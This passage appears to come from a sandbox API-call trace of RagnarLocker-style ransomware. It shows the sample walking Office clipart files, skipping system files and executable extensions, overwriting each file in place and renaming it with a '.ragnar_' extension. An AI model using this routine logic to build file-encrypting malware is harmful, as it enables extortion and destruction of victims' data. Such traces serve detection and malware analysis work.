liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.438] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa54, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.438] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa54, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa54, lpOverlapped=0x0) returned 1 [0080.438] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa54, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.438] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.439] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.439] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.439] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.439] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.439] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.439] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.439] GetProcessHeap () returned 0x580000 [0080.439] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.439] CloseHandle (hObject=0xf4) returned 1 [0080.439] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" [0080.439] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.ragnar_FD7BD9FC" [0080.439] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.440] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0080.440] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.440] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00269_.WMF" | out: lpString1="BL00269_.WMF") returned="BL00269_.WMF" [0080.440] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned=".WMF" [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="autorun.inf") returned 1 [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="boot.ini") returned -1 [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="bootfont.bin") returned -1 [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="bootsect.bak") returned -1 [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="bootmgr") returned -1 [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="bootmgr.efi") returned -1 [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="desktop.ini") returned -1 [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="iconcache.db") returned -1 [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="ntldr") returned -1 [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="ntuser.dat") returned -1 [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="ntuser.ini") returned -1 [0080.440] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="thumbs.db") returned -1 [0080.440] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.440] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.440] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.440] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.440] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.440] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.440] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x20 [0080.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.441] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5272) returned 1 [0080.441] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x148f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.441] GetProcessHeap () returned 0x580000 [0080.441] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.441] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.442] VirtualAlloc (lpAddress=0x0, dwSize=0x1498, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.443] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.443] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.443] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1498, lpOverlapped=0x0) returned 1 [0080.443] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.444] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1498, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.444] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1498, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1498, lpOverlapped=0x0) returned 1 [0080.444] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1498, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.444] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.444] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1498, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.444] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.444] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.444] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.444] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.444] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.444] GetProcessHeap () returned 0x580000 [0080.444] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.444] CloseHandle (hObject=0xf4) returned 1 [0080.445] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" [0080.445] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.ragnar_FD7BD9FC" [0080.445] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.445] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0080.445] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.445] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00270_.WMF" | out: lpString1="BL00270_.WMF") returned="BL00270_.WMF" [0080.445] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned=".WMF" [0080.445] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.445] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="autorun.inf") returned 1 [0080.445] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="boot.ini") returned -1 [0080.445] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="bootfont.bin") returned -1 [0080.445] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="bootsect.bak") returned -1 [0080.445] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="bootmgr") returned -1 [0080.445] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="bootmgr.efi") returned -1 [0080.445] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.445] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="desktop.ini") returned -1 [0080.446] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="iconcache.db") returned -1 [0080.446] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="ntldr") returned -1 [0080.446] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="ntuser.dat") returned -1 [0080.446] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.446] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="ntuser.ini") returned -1 [0080.446] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="thumbs.db") returned -1 [0080.446] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.446] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.446] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.446] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.446] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.446] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.446] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x20 [0080.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.447] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3016) returned 1 [0080.447] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbbf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.447] GetProcessHeap () returned 0x580000 [0080.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.447] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.448] VirtualAlloc (lpAddress=0x0, dwSize=0xbc8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.449] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.449] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.449] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbc8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbc8, lpOverlapped=0x0) returned 1 [0080.449] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.449] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbc8, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.449] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbc8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbc8, lpOverlapped=0x0) returned 1 [0080.449] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbc8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.449] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.449] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.449] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.449] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.450] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.450] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.450] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.450] GetProcessHeap () returned 0x580000 [0080.450] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.450] CloseHandle (hObject=0xf4) returned 1 [0080.450] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" [0080.450] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.ragnar_FD7BD9FC" [0080.450] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.451] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0080.451] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.451] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00273_.WMF" | out: lpString1="BL00273_.WMF") returned="BL00273_.WMF" [0080.451] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned=".WMF" [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="autorun.inf") returned 1 [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="boot.ini") returned -1 [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="bootfont.bin") returned -1 [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="bootsect.bak") returned -1 [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="bootmgr") returned -1 [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="bootmgr.efi") returned -1 [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="desktop.ini") returned -1 [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="iconcache.db") returned -1 [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="ntldr") returned -1 [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="ntuser.dat") returned -1 [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="ntuser.ini") returned -1 [0080.451] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="thumbs.db") returned -1 [0080.451] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.451] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.451] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.451] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.451] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.451] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.451] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x20 [0080.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.452] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3780) returned 1 [0080.452] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xebb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.452] GetProcessHeap () returned 0x580000 [0080.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.452] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.454] VirtualAlloc (lpAddress=0x0, dwSize=0xec4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.454] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.454] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.454] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xec4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xec4, lpOverlapped=0x0) returned 1 [0080.454] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.454] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xec4, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.455] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xec4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xec4, lpOverlapped=0x0) returned 1 [0080.455] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xec4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.455] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.455] SetFilePointerEx 